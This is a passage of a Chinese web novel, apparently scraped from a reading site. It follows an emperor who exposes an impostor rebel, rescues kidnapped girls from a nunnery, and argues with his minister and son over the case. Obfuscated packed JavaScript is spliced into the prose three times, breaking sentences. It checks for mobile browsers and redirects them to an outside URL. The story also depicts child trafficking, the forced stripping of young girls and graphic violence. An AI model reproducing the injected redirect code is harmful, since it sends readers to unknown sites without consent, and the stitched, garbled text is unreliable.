他声音依旧温和:“众位,弃暗投明,尚不算附逆。我请众位想想,奉皇五年京乱之后的天子一怒。当年折损的两名重臣,同陛下还没有血缘之亲。我再请诸位想想,你们杀了我,陛下会怎么处置你们?凌迟,车裂,还是做成人彘?如今虽废贱籍,但你们的妻儿父母会远贬关外,你们三代之内,还有没有做官供职的可能?陛下的确仁善,但你们杀了他的独子,众位觉得,陛下会不会在极痛之下,叫你们跟着断子绝孙呢?” 王云楠冷汗直流。 这个乳臭未干的孩子,三言两语,已经挑拨得人心四散。府兵拔出的剑面雪亮,倒映一张张神色踌躇的脸。他们的武器已经不敢直指太子的方向。 全乱了。 太子的命令和王云楠的叫声一齐出口: “本宫驾前,凡弃剑受缚者,皆不杀!” “放箭,立即放箭!” 箭已离弦,再无后路。一时之间,杀声四起,乱箭纷纷。太子六率当即一拥上前,在乒乒砰砰的劈砍阻挡声里将太子萧玠围在中心。太子脸上微露惊色,但仍保持镇定,他眼珠紧锁门前,似乎在寻找什么人。 就是这时,王云楠意识到自己走了一步昏招。 府邸之内,并非只有自己一方势力。 他已经同太子动手,意味着其余诸人,这时候必须站队。 但他们已经在自己府上,自己谋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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太子来不及反应,只觉被人大力一推,马蹄高跃时一道金光从他余光中疾闪而过,带着“当”一声清脆响声。紧接着,在场所有人哗啦啦跪倒,高声叫道:“陛下!” 太子回过神,见一匹白马立在身前,虽已老迈,肌肉依旧劲健。马尾巴一甩一甩,牵动马上人的黑色披风起伏动摇。 皇帝的背影就在眼前,他左手后探,抓住太子缰绳的同时也握紧太子的手,右手持一柄弃置多年的环首长刀。一支利箭在他马前断裂,分尸两截。 41. 第 41 章 黛娘已经整整三天没有出过这个房间。 房间没有墙,也就没有光,黛娘的听力也就越发敏锐。她听到木器敲击声,还有伴随而来的脚步声—— 她的身体开始发抖。 这时,一双手紧紧握住她,她知道那是月娥。月娥十五,她十岁。月娥到这里三个月,她到这里三天。月娥从给娘抓药的夜路上来,她从灯会转角的巷子中来。自从昨天夜里十三岁的阿宝被带走之后,她们两个就紧紧抱成一团。 她好冷,好饿,好怕。她失踪这么久,娘只怕会哭坏眼睛,爹的病刚好,不知又要怎么着急,还有从小最疼她的哥哥……哥哥嘱咐,一定要拉住我的手,别被人冲散了。我带黛娘去猜灯谜。好,最高的那盏花灯,阿兄给你摘。 我不要灯了。黛娘缩成一团,小声哭泣。我想回家……娘,我想回家。我好害怕。 不要怕。月娥轻轻拍打她的后背,不要怕,黛娘,记得我讲的故事吗? 记得,大将军会来救我们的。大将军会打跑所有的坏人,把我们带回爹爹妈妈身边。大将军有一把好长好长的刀,是一个圆头的刀把…… 对,有一个圆头的刀把,是一把环首刀。月娥说,在我们老家有一座萧将军庙,只要把冤情写成字条,挂在金像的刀柄上,他就会为我们伸冤做主了。我昨晚梦到他了,我把字条挂在了他的刀上—— 木器声作响里,脚步声越来越近、越来越清晰。 黛娘触碰到其他女孩子的脊背,她们像一团碱地的泥鳅般钻来钻去。黛娘缩在月娥怀里,带着哭腔问:真的吗?他听得到吗,他真的是神仙吗? 他是神仙,是大将军,他也是陛下。黛娘,记得我们怎么叫陛下吗? 六哥。 突然,门被打开,阳光强卝奸一样地捅进来。黛娘才看到月娥衣裙的颜色,艳红,像大片的处女血。 他们像在商议什么,紧接着,两个身形肥胖的男人带着绳索冲月娥走过去。 月娥贴在她耳边说:不要怕,黛娘,不要怕!不管接下来发生什么,都要勇敢地活着。活着等六哥。六哥会来救我们的。 一定要活着。 *** 夜半时分,大理寺灯火通明。 萧恒坐在太师椅里,审视对面这个貌似失败的逃犯。他面无表情,叫道:“王云楠。” “是,”王云楠笑道,“陛下。” “你为什么要越狱?” “如陛下所见,”王云楠微笑道,“鱼死网破,欲清君侧。” 萧恒说:“这不是实话。” 陪坐一旁的萧玠一惊,抬头看向父亲。父亲脸色如冰,目光如箭,从头到脚,鬼气阴森。父亲嘴唇启开时,萧玠看到他颈部皮肤下牵动一根水蛇般的血管。他听到萧恒开口时嘶嘶的气流声,是蛇,是蛇吐信的声音。 萧恒盯着王云楠,说:“你是个聪明人,就算反,也该是我下旨缉拿你的当日。那天宴席上,你还有几个统兵的学生,罪名未定,你也有相当的威望。你那天不反,以后就再不会反。” 王云楠目光闪烁,没有讲话。 萧恒拿起案上摆放的一张弓,弓身长有一臂,但看他拿得十分轻巧。 “这是你的府兵配备的牛角弓,角面子粘得不牢,做弦的筋丝没有完全梳开,很明显,这是赶工的东西。弓力不足以穿一人,射程不足以出十步,你这千数武装,连太子六率都无法抵御。” 萧恒放下弓箭,声音像在陈述:“王云楠,你为什么造反——为什么在今夜造反?” 王云楠睁大眼睛,痴痴盯着萧恒,问:“陛下,猜不到吗?” 诡异的沉默里,萧玠身形一颤。 他如此大张旗鼓地造反,但又不是真想造反—— 他想让所有人以为,他要造反。 这样一来,萧恒会立即集结兵力前来围剿。人一挪,就有了空子…… 调虎离山! 几乎是萧玠惊呼出口的同时,萧恒也发出声音。 他始终盯着王云楠的脸,似乎目光一拔,那张脸立即就有两个窟窿。 他问了一个问题:“你为什么觉得,我就是虎呢。” 王云楠两根烧火棍一样的粗眉毛往上一跳,一闪神,正对上萧恒眼睛。 那双眼黑得像没有瞳孔,人影投进去像两道竖瞳——一双蛇瞳。 那条扮作皇帝的黑蛇说:“金吾卫已经把守城门,上林苑一直有禁卫埋伏。不管你是想去上林动秦政君,还是在我眼前动太子,都是做梦。” 萧恒并不打算在这里久留,他看到了萧玠手上的伤口。他眼神一动,萧玠忙把右手缩回袖子,跟着他低头站起来。 这时,王云楠手往外一摊,镣铐哗啦一响。他声音轻松:“臣缧绁在身,不能全礼。暂且用十八条性命,恭送陛下了。” 萧恒猝然回头,声音寒气森森:“你什么意思。” 油灯光线四射,王云楠终于看到萧恒微微颤动的瞳仁。他满意道:“陛下十年前拔尽秦楼楚馆,扬言要为天下女子打碎脚镣,但陛下真的以为,大梁上下,再无花柳了吗?” 萧玠还没反应过来,萧恒已经大步跨上前,揪住王云楠的领子把人提起来,“你知道,我能叫你生不如死。” 这是一个太近的距离,如果是两头野兽,下一刻就能咬断对方的喉咙。现在萧恒的手再往上挪动一寸,同样能扭断王云楠的脖颈。 王云楠轻轻嘘了一声,他眼中,油星一样的火光跳动。 他说:“我当然知道。但不着急,我想陛下一定百思不得其解。你明明扫净了妓馆,这些年一直在大力整治暗娼,为什么仍有遗毒留存?陛下不想知道,这些女孩究竟是怎么送过来的吗?” 他嘴巴凑在萧恒耳边,萧玠依稀辨认出,他说了三个字。 下一刻,他看到了父亲骤变的脸色。 短短的一句话,像甩到萧恒脸上一个巴掌。萧玠甚至听到那记清脆的耳光声。和他一样,王云楠也在端详萧恒,低低笑道:“臣在聚众之前下了命令,如果天亮之前臣回不去,就让她们跟臣一起做泉下之鬼。陛下,十八个女孩儿,如花似玉啊。” 萧恒看上去已经平静,“我怎么知道你是不是欺君。” 王云楠笑道:“陛下一个苦劳力,不是做赌徒的料。” 萧玠身体有些颤抖。 真的要被他这么拿捏? 但如果不放过他,那些女孩儿…… 他神思未定,突然听见一声闷哼,正看到王云楠左手拇指以一个诡异的角度耷下。萧恒头也不转地厉声喝道:“传令大理寺全部公员,立即审讯附逆徒众,禁卫从旁协助,务必撬开他们的嘴——刑具!” 王云楠终于放声大笑。 他笑得很瘆人,夜枭一样长一声短一声地叫。萧玠起了一身栗,见王云楠逼近父亲耳朵,但没有刻意压低声音:“咱们最最正义的陛下,你更是个聪明人,你要知道——有正就有邪,有昼就有夜,有白就有黑,有光就有影子。” “一切远没有结束。一切永不会结束。”他叫萧恒,“重光。” 一股血箭当面射出。 王云楠仰面倒地,脸带笑容,一条断舌从他嘴里跳出来,摔进血泊,像半个刚割下的鱼头。 萧玠并不了解父亲的字背负着怎样沉重的血债。他不明白王云楠何以这样亲近地称呼父亲,而父亲听见这两个字后,又何以失控到手臂颤抖。但这种失态不过一瞬间。 紧接着,父亲喝道:“阿玠,你出去。” 萧玠依言离开,但躲在墙后探出头。他看到父亲迅速揪住王云楠的头发,右手飞快一划,提着人头站起来。萧玠浑身都有些软,见父亲将刀插回腰间,快步走向羁押附逆的牢房。 他愣了一会,等王云楠脖子断口涌出的鲜血流到脚尖,才醒过神般,拔腿跑过去。 这么短短一会,血腥气已溢出监牢,但没有人敢发出一声惨叫。萧玠看到,王云楠的人头放在一条木椅上,依傍灯火,面冲众人,笑容可掬。一旁,父亲正丢掉手中一把弯钩形状的小刀,飞快对身边的尉迟松说:“带一拨人守着,我去他院子那边。” 萧玠忙走进门,道:“我也去。” 萧恒没工夫啰嗦,冲尉迟松道:“送他回……送他去他姑姑那边。”也不管萧玠抗议,提步就走。 尉迟松嘀咕:“姑姑——双姑还在上林吗?” 他顿这一下,萧玠已经跑出大理寺,等尉迟松赶出去,哪里还看得见影子? 萧恒马飙得极快,萧玠哪怕驱马越过龙武卫,也一直没追上他的背影。等他跑进王云楠的宅院,已经见萧恒从一辆马车里跳下来,半跪在地检查车轮,看了一会,又去看车底的横木。 他老大一个皇帝,当着下属和儿子的面,一条蛇似的从车底蹿出来。见了萧玠,也来不及训斥,对禁卫道:“京内外哪一座庵堂,靠西靠北,路上有工事——大概是建屋造墙,经过水田可能也经过塘子,现在的水位比较高?” 几个龙武卫七嘴八舌一合计,“京郊西北边有个青莲寺,就是个庵堂,路上过仁兴坊,那边有大户过寿,盖新宅子呢!” 萧恒当即上马,一打马腹狂奔出去时,喝道:“全体都有,立即赶去青莲寺,清剿逆党!” *** 木器声又响起来,梆——梆——梆—— 第五天,黛娘终于分辨出,这是木鱼的声音。 小满要到了,夜里溽热,冷汗热汗黏了一身。黛娘知道,每个人被带出去之前才会洗澡——当着所有人的面,被两个男人擒着剥光衣裳按在木桶里。一时间,木鱼声也被盖过去,只能听见水花泼溅、木桶撞动声和女孩撕心裂肺的哀嚎。月娥——月娥被拖着掼出木桶——月娥也一样。 房门没有关牢,月亮的手挤进来,那只沾满铅粉的手把月娥浑身上下摸了个遍。黛娘和所有人一起看到她的身体,她柔软的头发、倔强的眼睛,她初发育的胸部和尽力交叠的大腿。她不被允许遮挡自己,直到一件五彩缤纷的衣裙端进来。 接下来,两个男人变成门神,换两个女人给她穿衣服熏香。她们不被允许吃饱,饥肠辘辘时闻到那股香味只想呕吐。黛娘看着月娥被打了一记耳光,那一巴掌反而像打聋了黛娘,她满耳朵都是蜜蜂嗡嗡声,剩下的场景一点也听不到、看不见了。 直到梆子声又响起来。 黛娘拼命往里躲,和其他的女孩子抱成一团。梆梆梆的声音里,脚步声响起来、冲过来——比之前都要大,人比之前都要多——骂骂咧咧,吵吵嚷嚷,打打砸砸——叫喊起来,杀人了,救命啊,好汉饶命,官爷抬手——一个不能放过!——男人的声音——好多男人,不要放过她们一个——哐当! 门被砰地踹开,一个男人快步冲进来,看到她们,离开止步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566384|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他瞧着要有四十余岁,身材高瘦,面容英俊,鬓有白发,眼有细纹。一身黑衣,分不出是强盗还是官军。他看到她们的一瞬,嘴唇突然颤抖,脸色万般变化。在其他人要冲进来的时候,男人冲门外叫道:“找几个婶子嫂子的过来!找些干净衣裳,烧火,找米找面给她们烧火做饭!” 他一出声,门外人齐刷刷行动,该站岗的站岗,该跑动的跑动,再没有人闯进来。 男人喊完这句话,冲她们蹲下,声音放得很轻:“别怕,我们是官军,我叫萧恒,你们知道我吗?” 她们还没从惊慌中回神,尚没有反应,男人继续说:“买你们的人已经伏法,不会再有人欺负你们了。一会先吃些东西,吃完有些力气,我带你们去京城,在那边休养一段时间。一会说一下各自的籍贯,我来联系你们家里人。” 他讲完这些,也迅速起身,掩门出去。 黛娘仍盯着大门,目光审慎,像一只受伤的田鼠。在饭送进来前,先有女人为她们换衣。这一下把潮得发霉的空气点燃了,一双手触碰到黛娘衣角的瞬间,她嘶声高叫着拳打脚踢起来。不只是她,全部女孩一起,一时间这狭窄的庵堂厢房变成鸡飞狗跳的战场。 这天大的阵仗迫使那个领头的男人不得不进来看一眼。他试图分开黛娘和被抓打的女人时,黛娘调转了攻击对象,她发疯地撕打他,张嘴紧紧咬在他握住她手臂的虎口上。 她这一嘴下去,刚刚被黛娘殴打的女人露出更加惊悚的表情,那男人却制止她的动作,对外面说:“没事,先叫她们吃饭。” 黛娘怕被他扇耳光,她知道这些男人的手劲,一巴掌下去牙齿都要落了。但她不能松口,她不敢呀!她怕,她怕极了!她怕像那些被送走的女孩、像月娥一样,在卖掉之前,先被剥了衣服给所有人检看一遍,他们拨弄她们的胸部和腿间像检查一头牲口的牙口——很久之后,黛娘才知道这是提防她们携带兵器的举动,但她现在还不知道——她现在只知道,一个男人,刚刚用后拧的姿势捉住她的胳膊(哪怕她没有感觉到疼),他的手按在她的皮肤上,老茧粗糙的磨砺感和男人身上特有的味道叫她浑身发抖——她好怕——月娥说,不要怕黛娘——她真的好怕呀!她管不了,她什么都管不了了! 她死死咬着男人的手,感觉有液体从齿间涌出,咸腥的,有些热。她感到牙齿像咀嚼肉食一样,把那块皮肤和其他的血肉剥离开,接着,男人抬起另一只手——月娥叫道,不要怕! 他的手落在自己后背,轻轻拍打起来。 男人说:“没事了,没事了。” 黛娘感觉自己浑身都在哆嗦,她咬得脸颊发酸,有点想松口。这时候,又一阵脚步声冲进门,非常焦急,甚至直直冲向自己面前。 黛娘身体一缩,怕被打,咬得更紧。男人微微挪动身体,将她挡住,继续放柔声音:“咱们先吃饭,好不好?我瞧瞧你的脸——好、好,我不动,好孩子,别怕。” 黛娘闻到蒸点特有的面香。她抬头,审视冲进来的人——一个少年人。他表现得尽量友好,但黛娘不敢放松警惕,这个年轻人的余光一直扫向自己的嘴巴,或者说自己咬住的那只手。 少年将手中蒸屉放下,打开,十多个白面馍馍露出来,一时间香气四溢,黛娘听到自己的胃响了一声。 少年看着自己的脸,伸手拿起一个馍馍,递了过来。 他动作的一瞬,被咬住的男人有了一些细微变化。他微微侧过头——如果黛娘这时候抬脸,会看到男人冲少年做的嘴型:出去。 少年却视若无睹,冲她微笑,向前递了递手。 黛娘耸耸鼻子,终于张开嘴,抢过那块馍塞在嘴里。她牙齿嘴边沾连的血迹洇了白馍,倒像自己吃的太快咬破了舌头。 她这一动像一个讯号,女孩们蹲着掩着衣服上前,迅速从笼屉里抢了白馍,远远缩到墙角,狼吞虎咽地吃起来。男人蹲着看着她们,黛娘发现,他眉头皱起,鼻中一股一股地出气。这种神情,她只从爹脸上见过。 她视线一挪,见旁边那个少年扶着男人的手臂,已经泪流满面。 等第二个馍吃完时,一个身穿皮甲的青年人走进来,将一把带血的刀双手捧给男人。一看到刀,好容易安静的女孩们又尖叫起来。 黛娘却眼睛睁大,眼中倒映那把刀的模样—— “在我们老家有一座将军庙,只要把冤情写成字条,挂在金像的刀柄上,他就会为我们伸冤做主了。” “他有一把好长好长的刀……” “有一个圆头的刀把,是一把环首刀。” 圆头的刀把。 环首刀。 黛娘抬头,看着男人的脸。 月娥说,他会打跑所有的坏人,把我们带回爹爹妈妈身边。 月娥说,他会来救我们的。 月娥说,他是神仙,是大将军,他也是陛下。 月娥问她,黛娘,记得我们怎么叫陛下吗? “六哥。” 黛娘抓住男人的手臂,带着点不确定、带着点惊喜、还带着点哽咽,“你是不是六哥,是不是做皇帝的六哥、在潮州做大将军的六哥?这是你的刀,这真的是你的刀?” 男人点点头,从腰间拔下那个空刀鞘,将那把环首刀插进去。 严丝合缝。 黛娘看看那刀,再看看他,猛地一头扎进他怀里,哇地大哭起来。 42. 第 42 章 这些女孩安顿下来后,天色已经透亮,萧恒便赶去上朝。他翻上马背,瞧萧玠也牵过马,便一低身,把他拦腰抱到自己马背上。 萧玠吓了一跳,已经被萧恒两条手臂圈在身前。在父亲挽过缰绳时,萧玠小声叫他:“阿爹,我可以自己骑。” 萧恒只看他一眼。 萧玠右手的伤口已经止血,却叫他看得发怯,仍忍不住往袖里藏。萧恒将披风揭下来罩在他身上,道:“跑起来有风,盖着头。” 萧玠有些无奈,瞧瞧后面跟着的禁卫,抗议道:“我都这么大了,阿爹拿襁褓包娃娃呢。” 萧恒说:“盖好。” 萧玠感觉身侧父亲的手臂绷紧,上下一振,白马低鸣一声,四蹄飞跃起来。他拉着披风门襟,靠着萧恒胸膛,问:“阿爹,你是怎么知道要找庵堂的呀,这些娘子有留下什么消息吗?还是王云楠手下有所招供,或者……” “萧玠。”萧恒打断他,“我有没有告诉过你,不要冒险。” “事急从权嘛。”萧玠嘀咕。 他听到父亲重重的鼻息声,便老老实实裹紧披风,不敢犟嘴。过一会,马蹄颠簸声中,萧恒开口:“马车。” “马车?” “这些手下招供,王云楠每次都使马车拉人。马车是专用,上次跑完就在昨夜。车夫的安置他们不清楚,但马车在王云楠院里。我看了车轮,轮子缝隙的泥土里有大量的稻谷粒和秆茎。长安附近种麦子和小米多,能种大米的地方只有西边靠北的一块水田。这一阵稻子刚开始收割,还没有到市面,基本能断定这条路过水田。车底下的横木还在潮湿,但这几天没有下雨。车帘上有泥,看方向是车轮碾路时溅起来的。一般的水洼溅不到这么高,大概会经过水塘。泥里还有石灰,基本是泥墙用的。所以我说,靠西靠北,过水田和水塘,路上有人盖屋砌墙。” 萧玠张了张嘴,“就那么点泥土,稻子粒还好说,石灰怎么看出来的?” 萧恒笑道:“术业专攻,儿子,你爹当年就干这活。” 萧玠尚未听闻他老子在影子里的鼎鼎大名,想了半天,也不记得萧恒提过砌墙的事迹,也问:“那庵堂呢,你怎么知道是一间庵堂?” “他们的供词讲到曾和一个把守的闲聊,羡慕他的赏钱。那个把守抱怨,说一守三天,天天叫梆子敲得没法合眼,这就罢了,连点油水都沾不着。敲梆子绝荤腥,显然是寺庙,要安置女人,大抵是庵堂。”萧恒说,“我进车厢看时,发现有抓痕和血迹,说明发生过挣扎和压制。我从车座底找到一片被剐蹭的布料,是一种若黑色的棉布。” “三如法色。”萧玠有些惊讶。 依照佛宗戒律,僧衣不得采用五正色和五间色,只能用若青、若黑、若木兰三色,故谓“三如法色”。但若黑之色指淤泥色,极难与黑色区分。当时时间紧迫,父亲居然看了几眼就能分辨出来。 萧恒点头,“不像这些女孩的穿着,那就只能在制服她们的人身上,” 萧玠摸了摸白马鬃毛,又问:“那他的调虎离山,是什么意思?他弄出这么大的阵仗,又不惜把这些女孩的事捅出来,到底图的是什么?” 马蹄声里,响起萧恒的声音: “他不是王云楠。” 萧玠瞪大眼睛。 “他搞这么一出,很可能是要把真的王云楠送走。”萧恒继续说,“台狱那边已经盘查过了,狱卒并没有问题。我估计是这个假王云楠闹出阵仗,等你着人去台狱探查、乱成一团时,他再伺机逃走。” 他对萧玠道:“台狱有一套管理体系,若非全部买通,或者重兵强攻,很难有越狱的可能。” 萧玠不追查这一趟,真的王云楠甚至跑不出来。 “可我见过王云楠,天底下哪有长得一模一样的人?” “脸是最假的东西。”萧恒说,“我也可以做一张和我一样的面具,戴在你脸上。” “那他是……?” “一支余孽,一支死灰复燃的余孽。”萧玠听到父亲鼻中深吸一股气,又缓缓喷出来,“我以为在你出生之前,就彻底清除了。” 萧玠愣了半天,张了张嘴,“我、我没想到……” 萧恒右手缓缓振动缰绳,左手搂住他肩膀,“我没教过你这些,不是你的错。” 萧玠沉默一会,问:“那你既然发现他是假的,为什么还同他斡旋这么久?” 这段时间,真的王云楠已然插翅而逃了。 “他有句话说得对。”萧恒说,“我的确赌不起。” 王云楠手中已经没有别的筹码,除了这些女孩的命。 但王云楠清楚,这是一场必胜的博弈,因为对萧恒来说,他别无选择。 一段时间里,萧玠一直没有说话。萧恒不用低头,都知道他咬紧嘴唇、脸色苍白的样子。 萧恒叹口气:“萧玠,帮我个忙。” “一定要保护好自己,好吗?” 他眼珠一动不动,郑重得令人心悸。 萧玠点点头,想到什么,又问:“阿爹,我还有个问题。王云楠是用什么路子找来的这些女孩子?” 他记得这个人附在父亲耳边,说出让他神色大变的三个字。 接着,他看着父亲微启的嘴唇抿成一条线。 萧玠再叫一声:“阿爹?” 萧恒避而不答,一手搂住他,一手振动缰绳,说:“这件事以后再说。我先送你回宫,上完药再睡一会。你每日吃的药,还是你秋翁给你送来——前面有坡,抱牢我。” *** 本该收束的王云楠案掀起轩然大波。此后,萧恒跟虞山铖和秦温吉都有过一次密谈,内容连萧玠都不得而知。但看萧恒并无追责的态度,虞山铖可能真的与王云楠案无关,至少,不是站在皇帝的对立方。 这位嘉国公,可能和父亲达成了某种协议,或交易。 但出乎萧玠意料的是,这段时间,萧恒竟然同阵线一致的杨峥发生了矛盾。 萧恒并没有按照章程命刑部或大理寺审理王云楠案,而是委托已经官职中书令的杨峥暂领其职。 这个“暂领”,就说明了相当的问题。 虽说能者多劳,但杨峥身上的职务有些过多。今年的春闱因萧玠的病情推迟到芒种之后,杨峥作为主考官,要料理殿试的相应事务。且各地贪贿案的查处刻不容缓,等殿试落幕,杨峥就得即刻启程。 主审人选不定,案件审理的进度竟也出奇缓慢。萧玠有意问过几次,但都被萧恒搪塞过去。 从来对自己知无不言的父亲,在这案子上有所隐瞒。 萧玠有时会在甘露殿用饭,顺道一起吃药。秋童按萧恒的吩咐,拿萧恒种的鲜菠菜切肉拌臊子,等他回来下馎饦。直到药尽饭冷,也没见萧恒人影。 萧玠只以为他有朝政要忙,左右自己做完了今日课业,便拿了饭匣去两仪殿。甘露殿遍布秦灼的遗迹,对萧恒来说已经变成不容侵犯的私密领地,这些年他接见近臣,都是去两仪殿,那边是李寒的地方。 萧恒脾气素来温和,但今日萧玠一踏上台阶,便听见大声争执之声。 他走到门边,居然听到杨峥的声音:“……臣多次审问,千真万确,王云楠府中‘婢女’二十三人,全是借从前小秦淮的路子输送,不止王犯府上,只怕高门皆有沾染。经臣调查,其中主事者,不乏南秦之人。其头目已然招认,这条渠道留存至今,是奉了秦公的旨意。” 萧恒断然道:“不可能。” 杨峥叹道:“陛下。” “这个假‘王云楠’临死前也这么同我讲过。他在试探我。” 杨峥有些愕然:“他有所招供?陛下何故不向臣提及?” 萧恒罕见地执拗,“因为不可能。” 他察觉自己的失态,缓和口气:“当年清扫妓馆时我同他讲过这件事,叫他把人带回南边去。他应过我,就不会骗我。” 杨峥却反常的尖锐,“陛下,你在害怕。” “你怕此事成真,所以对臣隐瞒。你怕秦公真的牵涉进来,不知道要怎么面对他,又该不该维护他。” “处置他,你心怀有愧;放过他,你难赎其罪。” 见萧恒不语,杨峥叹道:“陛下取缔妓馆,打压暗娼,近十年来成效卓然,但此案一出,百姓对朝廷的信任必将动摇。据臣了解,王犯府上女子俱为拐骗,最年长者不过十九岁。老那女孩黛娘,今年不过十岁,和永怀公主一样,也是奉皇五年生人。吾老以及人之老,幼吾幼……以及人之幼啊。” 杨峥语气难掩失望,“感情用事、因私废公,陛下就是这样对待臣民,这样做一国之君吗?” 萧玠贴在门外,许久没有听见萧恒回答,他听到杨峥又想追问的气声,但陡然变成一道惊呼声。紧接着,萧玠听到膝盖碰撞地面的声音。 父亲说:“萧恒有卿,大梁有卿,何其之幸。” 萧玠按住胸口,有些难以呼吸。 因私废公,这四个字的分量对父亲来说是难以想象的。父亲这一生把一个“公”看得何其之重,除了碰到自己的事……他的事。 萧玠在这一刻,无比真实的意识到,他的父亲不是英雄。 他只是个普通人。 萧玠知道这不是自己该出现的场合,但他还是推开门,在两人诧异的目光里跨进门槛。先将萧恒从地上扶起来后,萧玠又来搀相对跪着的杨峥。 “杨相公。”萧玠轻声道,“这件事的确是陛下护短,但同样,也有些蹊跷。” “小秦淮若还在秦公掌握之中,其中人员必是他的眼线。那我年前重病一事,秦公不会被瞒了这么久才知道。而且这件事不只是家事,更是不折不扣的公事。 “杨相公,南秦已然独立,如果陛下公然追责秦公,会是一个怎样的局面?南秦与大梁交恶八年,今年政君北上,关系才得以和缓。在这样的关头,偏偏闹出这件事来,未必没有人推波助澜。而且背后之人敢用秦公拿捏陛下,说明他很清楚,秦公同陛下究竟是什么关系。” 萧玠的声音不疾不徐:“相公说得对,这件事不得不办。但更重要的是,找谁来办。” 条分缕析,且意有所指。 杨峥注目他良久,揖手道:“殿下明敏。” 得到他的认同,萧玠扭头去看萧恒,却对上父亲出鞘的眼神。 萧恒道:“你想都别想。” 萧玠有些着急:“但你有更好的人选吗?还有谁知道咱们家的内情,老师?可他们今日敢牵扯阿耶,明日未必不敢把我牵扯进来,真有那一天,老师能没有分毫忌惮?” 他撩袍跪下,仰头看着萧恒,“阿爹,你知道的,最合适的人选,近在眼前。” 萧恒看着他,“东宫不得干政。” “你从前连皇位继承都敢废,还用这套规矩绑我吗?”萧玠调节呼吸,“阿爹,你不能把杨相公一直留在京里,地方有更要紧的事要他去做。那这件事还能交给谁?交到旁人手中,你能放心?” 萧恒要拉他起来,“这件案子我来审理。你不用操心。” 萧玠握住他的手和他相持,不肯起身,“你是天子,天子不能事必躬亲,你已经管了多少事?上朝的奏对、地方的折子,但凡上报的案件你都要过问,除了我生病这一年,每年你还要巡视地方,问政事要遍访百姓,看收成要自己下地,你再这么揽事情,早晚会把自己累死!” 他仰视萧恒,“阿爹,如果是三司都无法处置的大案要案,你要亲鞫,我无话可说。但这件事虽恶劣,却能按有司的章程审理。你要亲审亲判,不合规矩。你的精力有限,一日之内能处理的事务也都有数,你得把你的时间放到最该放的地方。我也这么大了,有些事情,我能帮到你了。” 杨峥旁观这场父子相争,心中只有叹息。 皇帝对太子的过度保护到了令人震惊的地步。 今年萧玠已经十六岁,萧恒却拒绝对他进行储君应有的政治教育。进行行政启蒙的太子詹事府如同虚设,萧恒并不禁止任何人对时政的议论,但在萧玠面前,这些话题变得尤为敏感。如果依据前代历史的经验来看,皇帝刻意将太子“放逐”出政治高层,无疑是废储的征兆。但当代所有人都看清,太子分明是皇帝的命根。 萧恒这种毫无道理可言的顽固让杨峥都感到不可思议,他曾在私下对萧恒进言,请皇帝为太子计以深远,培养他应有的政治素养。萧恒委婉地拒绝了,这说明他仍没有放弃废除皇储制度的梦想。 杨峥则比他现实,“太子从没有离开过政治斗争的漩涡,从前和现在都是,以后也不会例外。”杨峥说,“陛下此举,无异于割断殿下求生的绳索。” 对此,萧恒仍固执地表示,自己可以做那条绳子。 让萧玠置身事外是萧恒一直以来的努力,事与愿违的是,萧玠一直处于政治的风口。哪怕此前,萧玠自己也对朝政持一种“避世”态度,但一个时代有自己的规律,他这种遗世独立的姿态无法延续很久。 就在这一天,杨峥眼看一条剪断的脐带被历史抛出,作为绳索套上萧玠的脖颈。 萧玠没有挣扎。 他顺服、主动地走到这座囚笼中去。 良久,萧恒沙哑的声音才在殿中响起:“阿玠,阿爹不想让你掺和这些事。阿爹只希望……你这辈子,能高高兴兴。” “但你愁眉不展,我怎么高兴呀。”萧玠放软声音,看着握住自己的父亲的手。粗糙,生皱,疤痕遍布,但这双手还是那么有力,叫他握着,是那么踏实。 他叹口气:“阿爹,我只是活不过二十岁……” 萧恒喝道:“萧玠!” “我只是活不久了,不是会立时死掉。我活一日,就做一日太子,就该担起我应当的担子。你叫我帮帮忙,算是为我积福,好不好?”萧玠轻轻道,“别让我觉得,我是个白吃民脂民膏的蠹虫。” 萧玠等他的回复,却许久没有听到萧恒的声音。片刻后,萧恒道:“这件事再商议。” “阿爹!” “你听话。”萧恒拉他起来,握着他的手臂,低低道,“我再想想。” *** 萧玠离开后,杨峥没有立即离开两仪殿。他抬头,看到李寒红衣含笑的图像。 萧恒立在其下,抬首与画中人对视。 他对杨峥说:“地方的事还是由你全权处置,王云楠的事……” 杨峥明白他心中挣扎,叹道:“臣领旨遵命。但臣有言不得不说,所谓知己知彼百战不殆,一个太子一个秦公——陛下的软肋全让他们拿捏在手,想过如何破局吗?” 萧恒说:“其实也容易,我可以直接杀人。” 他轻描淡写地一句话让杨峥浑身的肉都一跳。 萧恒看着他,似乎没有意识到他的反应,继续道:“到底谁该杀谁该留,别说我,你心里也有个谱。我给他们罗织罪名是很容易的一件事,毕竟我是皇帝,金口玉言。我说他们谋逆勾结当诛十族,有人敢只杀他们的九族吗?就算他们把他阿耶推到明面上,我一口否决,他们有什么法子?” 杨峥听着他越来越平淡的声音,突然有些抽离。似乎他面对的不是“萧恒”而是皇帝,历朝历代生杀予夺均在其手的皇帝。这个认知让杨峥感到无比可怕。 萧恒只是看着他,问:“士嵘,我觉得大抵不会杀错的人,有没有杀错的可能?” 杨峥欲言,终是默然。 萧恒道:“人的判断会有偏离,万事不可能尽在我的掌握。像这一次,像之前的很多次。我有时候想,如果把他们都杀掉会便宜很多,但如此杀人究竟是改变结果,还是走回最初的恶果?” 他看向殿内,说:“我一直在抵抗。” 每个君王都拥有至高的权力。前一刻能让你生不如死,下一刻能让你一步登天。生杀予夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 